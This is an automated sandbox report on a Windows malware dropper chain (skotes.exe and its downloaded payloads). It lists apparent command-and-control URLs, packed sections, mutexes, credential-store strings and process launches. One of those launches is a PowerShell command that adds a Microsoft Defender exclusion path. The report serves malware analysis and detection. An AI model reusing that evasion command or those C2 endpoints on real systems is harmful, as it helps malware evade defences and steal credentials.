Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2906038210.000000000086E000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2806760077.000000000086F000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2879001082.000000000086D000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2830010420.000000000086F000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2853234521.000000000086D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/O
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2906038210.000000000086E000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2806760077.000000000086F000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2879001082.000000000086D000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2830010420.000000000086F000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2853234521.000000000086D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/a
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2806760077.000000000086F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/b
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2906038210.000000000086E000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2806760077.000000000086F000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2879001082.000000000086D000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2853234521.000000000086D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/m
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2906038210.000000000086E000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2879001082.000000000086D000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2830010420.000000000086F000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2853234521.000000000086D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/w
Source: 03f60c0f6e.exe, 00000009.00000003.2745554337.00000000036CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: 03f60c0f6e.exe, 00000009.00000003.2692939646.0000000003709000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2715240604.0000000003709000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2691639207.0000000003708000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2692726320.0000000003709000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2690863144.0000000003708000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2744173518.0000000003700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/FqE=
Source: 03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2775612086.00000000036F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/V
Source: 03f60c0f6e.exe, 03f60c0f6e.exe, 00000009.00000003.2750553075.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2745554337.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000002.2858415028.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036E6000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2715417561.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2750254218.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000002.2858415028.00000000036E6000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2715417561.00000000036CF000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000002.2858415028.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: 03f60c0f6e.exe, 00000009.00000003.2750553075.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2745554337.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2750254218.00000000036F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api.z&s)
Source: 03f60c0f6e.exe, 00000009.00000002.2858415028.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiX
Source: 03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036E6000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000002.2858415028.00000000036E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apibu
Source: 03f60c0f6e.exe, 00000009.00000003.2715417561.00000000036F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apint
Source: 03f60c0f6e.exe, 00000009.00000003.2715417561.00000000036F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/indoN
Source: 03f60c0f6e.exe, 00000009.00000002.2858415028.00000000036E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/nr
Source: 03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036F4000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2775612086.00000000036F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/s
Source: 03f60c0f6e.exe, 00000009.00000003.2800282585.00000000036FB000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2690863144.0000000003708000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/api
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2776478403.0000000000875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: chrome.exe, 00000018.00000002.3131396696.000049E800960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ww.google.com/
Source: 03f60c0f6e.exe, 00000009.00000003.2718485144.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 03f60c0f6e.exe, 00000009.00000003.2667307921.0000000003E61000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2667431694.0000000003742000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133067662.000049E800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000018.00000002.3133243949.000049E800C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000018.00000002.3133243949.000049E800C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000018.00000002.3133243949.000049E800C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: 03f60c0f6e.exe, 00000009.00000003.2718485144.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000018.00000002.3131565199.000049E8009B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3129820217.000049E800718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000018.00000003.2919087349.000049E800D34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135008942.000049E800DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000018.00000002.3130578209.000049E80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3131396696.000049E800960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3131396696.000049E800960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000018.00000002.3135429217.000049E800E40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: 03f60c0f6e.exe, 00000009.00000003.2667307921.0000000003E61000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2667431694.0000000003742000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3128137037.000049E8004F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133306125.000049E800C3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2917773681.000049E800C3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3128689965.000049E8005D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000018.00000002.3128689965.000049E8005D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsightsI
Source: chrome.exe, 00000018.00000002.3126541904.000049E8002A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/speech-api/v2/synthesize?
Source: chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000018.00000002.3132014581.000049E800A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000018.00000002.3126372097.000049E80020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000018.00000002.3126372097.000049E80020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000018.00000002.3128641256.000049E8005C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3126372097.000049E80020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000018.00000002.3133417982.000049E800C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3126372097.000049E80020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: 03f60c0f6e.exe, 00000009.00000003.2717527566.0000000004082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 03f60c0f6e.exe, 00000009.00000003.2717527566.0000000004082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 03f60c0f6e.exe, 00000009.00000003.2717527566.0000000004082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 03f60c0f6e.exe, 00000009.00000003.2717527566.0000000004082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 03f60c0f6e.exe, 00000009.00000003.2717527566.0000000004082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: chrome.exe, 00000018.00000002.3126692645.000049E8002D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

System Summary

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe

File dump: service123.exe.7.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[3].exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name: .idata
Source: random[3].exe.6.dr	Static PE information: section name:
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name:
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name: .idata
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 0016128732.exe.6.dr	Static PE information: section name:
Source: 0016128732.exe.6.dr	Static PE information: section name: .idata
Source: 0016128732.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: 48a114f480.exe.6.dr	Static PE information: section name:
Source: 48a114f480.exe.6.dr	Static PE information: section name: .idata
Source: 48a114f480.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: fde7a493e9.exe.6.dr	Static PE information: section name:
Source: fde7a493e9.exe.6.dr	Static PE information: section name: .idata
Source: fde7a493e9.exe.6.dr	Static PE information: section name:
Source: random[2].exe1.6.dr	Static PE information: section name:
Source: random[2].exe1.6.dr	Static PE information: section name: .idata
Source: random[2].exe1.6.dr	Static PE information: section name:
Source: 98d75c3c44.exe.6.dr	Static PE information: section name:
Source: 98d75c3c44.exe.6.dr	Static PE information: section name: .idata
Source: 98d75c3c44.exe.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name: .idata
Source: fa82de29a9.exe.6.dr	Static PE information: section name:
Source: fa82de29a9.exe.6.dr	Static PE information: section name: .idata
Source: random[3].exe1.6.dr	Static PE information: section name:
Source: random[3].exe1.6.dr	Static PE information: section name: .idata
Source: 3c08a943ba.exe.6.dr	Static PE information: section name:
Source: 3c08a943ba.exe.6.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: 3ca42ff3133e49daac5eafe0960f7af0.exe.10.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002A8860	0_2_002A8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002A7049	0_2_002A7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002A78BB	0_2_002A78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002A31A8	0_2_002A31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00264B30	0_2_00264B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002A2D10	0_2_002A2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00264DE0	0_2_00264DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00297F36	0_2_00297F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002A779B	0_2_002A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00107049	1_2_00107049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00108860	1_2_00108860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001078BB	1_2_001078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001031A8	1_2_001031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_000C4B30	1_2_000C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00102D10	1_2_00102D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_000C4DE0	1_2_000C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_000F7F36	1_2_000F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0010779B	1_2_0010779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00107049	2_2_00107049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00108860	2_2_00108860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001078BB	2_2_001078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001031A8	2_2_001031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_000C4B30	2_2_000C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00102D10	2_2_00102D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_000C4DE0	2_2_000C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_000F7F36	2_2_000F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0010779B	2_2_0010779B

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 002780C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 000DDF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 000D80C0 appears 260 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[3].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[3].exe.6.dr	Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: 17e7d05a4e.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: 17e7d05a4e.exe.6.dr	Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: random[1].exe.6.dr	Static PE information: Section: gzrpzaat ZLIB complexity 0.9942267842090475
Source: 0016128732.exe.6.dr	Static PE information: Section: gzrpzaat ZLIB complexity 0.9942267842090475
Source: random[1].exe2.6.dr	Static PE information: Section: wfipzyes ZLIB complexity 0.9943886664944903
Source: 48a114f480.exe.6.dr	Static PE information: Section: wfipzyes ZLIB complexity 0.9943886664944903
Source: random[2].exe.6.dr	Static PE information: Section: vqihsser ZLIB complexity 0.9901594543006786
Source: fde7a493e9.exe.6.dr	Static PE information: Section: vqihsser ZLIB complexity 0.9901594543006786
Source: random[4].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[4].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 6253581e35.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 6253581e35.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[2].exe1.6.dr	Static PE information: Section: ZLIB complexity 0.9973779965753424
Source: random[2].exe1.6.dr	Static PE information: Section: bdbisbrv ZLIB complexity 0.99442253159257
Source: 98d75c3c44.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973779965753424
Source: 98d75c3c44.exe.6.dr	Static PE information: Section: bdbisbrv ZLIB complexity 0.99442253159257

Source: random[3].exe1.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 3c08a943ba.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: fde7a493e9.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 98d75c3c44.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe1.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: c534667f0b.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: c534667f0b.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[1].exe1.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[1].exe1.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@146/120@0/29

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Mutant created: \Sessions\1\BaseNamedObjects\FloppyShip
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{f6bec8ba-58ff-4dfc-9981-2ec5ebd23734}-9MSZ40SLW145

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe

System information queried: HandleInformation

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 03f60c0f6e.exe, 00000009.00000003.2668230562.0000000003711000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 55%
Source: file.exe	Virustotal: Detection: 58%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 03f60c0f6e.exe	String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696333830); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856); user_pref("app.update.lastUpdateTime.xpi-signature-v

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe "C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe "C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe "C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
